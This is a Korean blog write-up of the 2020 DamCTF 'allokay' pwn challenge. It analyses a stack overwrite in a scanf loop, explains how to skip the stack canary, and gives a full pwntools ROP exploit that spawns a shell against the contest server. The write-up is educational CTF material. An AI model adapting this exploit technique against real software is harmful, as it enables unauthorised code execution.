tmxklab
2020 DamCTF - allokay(pwn) 본문
1. 문제 확인
실행시켜보면 이상한 점이 있다. 원하는 숫자를 입력하라길레 10을 넣었는데 10번 반복되지 않고 6번만 반복되고 종료된다.
1) mitigation 확인
2-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int number; // [rsp+Ch] [rbp-4h]
puts("How many favorite numbers do you have?");
fgets(buffer, 20, stdin);
number = atoi(buffer);
if ( number > 100 || number <= 0 )
{
puts("Huh?");
exit(0);
}
puts("Please enter the numbers!");
get_input(number);
return 0;
}
0 ~ 100으로 입력 값이 제한되어 있다. (number)
2-2) get_input()
unsigned __int64 __fastcall get_input(int number)
{
void *v1; // rsp
int num; // [rsp+Ch] [rbp-24h]
unsigned int i; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
num = number;
v6 = __readfsqword(0x28u);
v1 = alloca(16 * ((number + 30LL) / 0x10uLL));
v5 = 16 * (((unsigned __int64)&num + 3) >> 4);
for ( i = 0; (int)i < num; ++i )
{
printf("Enter number %d/%d: ", i, (unsigned int)num);
__isoc99_scanf("%ld", 8LL * (int)i + v5);
}
return __readfsqword(0x28u) ^ v6;
}
v1, v5에 값을 초기화하는 것은 신경쓰지말고 for문을 보면 처음 main함수에서 입력받은 숫자만큼 for문이 반복되고 scanf로 입력을 받는다. → 그럼 10번 반복되어야 하는데 6번만 반복되고 종료된다.(이상함)
2-3) win()
rdi에 execve()의 파라미터로 들어가고 execve()가 실행된다. 이거를 이용해서 rdi에 "/bin/sh"문자열을 가리키면 될 것 같다.
2. 문제풀이
아까 처음에 10을 입력했는데 6번만 반복된 이유를 살펴보자
다음은 5번 for문이 반복되고 난 스택 상황이다.
- i[rbp-0x14] : 0x4
- num[rbp-0x24] : 0xa
scanf를 통해서 0x7fffffffdea0부터 값을 채워나가고 있는데 여기서 한 번더 채우면 0xa를 건드리게 된다.
한 번더 입력을 받고 나니 num이 0으로 세팅되고 for문이 종료된다.
따라서, 6번 입력을 받을 때 num가 i의 값보다 높게 세팅해야 한다. 추가적으로 canary[rbp-0x8]가 있으므로 i의 값도 건드려서 canary를 건너띄게 하면 된다. ㅋㅋ루삥뽕, 그러면 rop를 진행할 수 있따.
공격 프로세스)
- num값을 i보다 크게 세팅해서 for문이 계속 돌 수 있도록 하기
- i의 값을 건드려서 canary에 값이 세팅되지 않도록 건너띄기
- rop로 조지기
- scanf로 bss영역 아무데다가 "/bin/sh"문자열 박기
- pop rdi ; ret ;가젯을 이용해서 "/bin/sh"문자열 가져오기
- win함수 실행
익스코드)
from pwn import *
context.log_level = "debug"
#p = process("allokay")
p = remote("chals.damctf.xyz", 32575)
#gdb.attach(p)
pop_rdi = 0x400933
ld = 0x40096d
pop_rsi = 0x400931
bss_addr = 0x6010a0
scanf_got = 0x400660
win_addr = 0x400767
val_v3 = 0x1400000000
val_i = 0xa00000000
binsh = 0x68732f6e69622f
p.sendlineafter("have?\n", str(10))
p.sendlineafter("numbers!\n", str(0))
for i in range(4):
p.sendlineafter("0: ", str(i))
# ROP
p.sendlineafter("0: ", str(val_v3)) # v3
#pause()
p.sendlineafter("0: ", str(7))
#pause()
p.sendlineafter("0: ", str(val_i)) # i
#pause()
p.sendlineafter("0: ", str(pop_rdi))
#pause()
p.sendlineafter("0: ", str(ld))
#pause()
p.sendlineafter("0: ", str(pop_rsi))
#pause()
p.sendlineafter("0: ", str(bss_addr))
#pause()
p.sendlineafter("0: ", str(1))
#pause()
p.sendlineafter("0: ", str(scanf_got))
#pause()
p.sendlineafter("0: ", str(pop_rdi))
#pause()
p.sendlineafter("0: ", str(bss_addr))
#pause()
p.sendlineafter("0: ", str(win_addr))
sleep(1)
#pause()
p.sendline(str(binsh))
p.interactive()
참고로 여기서 setvbuf를 사용해서 바로 출력해주지 않아서 디버깅할 때 보면 나중에 한꺼번에 출력해준다. 그래서 pause를 걸고 디버깅했다.
실행 결과)
'CTF 문제' 카테고리의 다른 글
2020 DamCTF - schlage(rev) (0) | 2020.10.15 |
---|---|
2020 DamCTF - side-channel(misc) (0) | 2020.10.15 |
2020 DamCTF - ghostbusters(pwn) (2) | 2020.10.15 |
2020 DownUnderCTF - [misc] homepage (0) | 2020.09.21 |
2020 DownUnderCTF - [forensic] On the spectrum (0) | 2020.09.21 |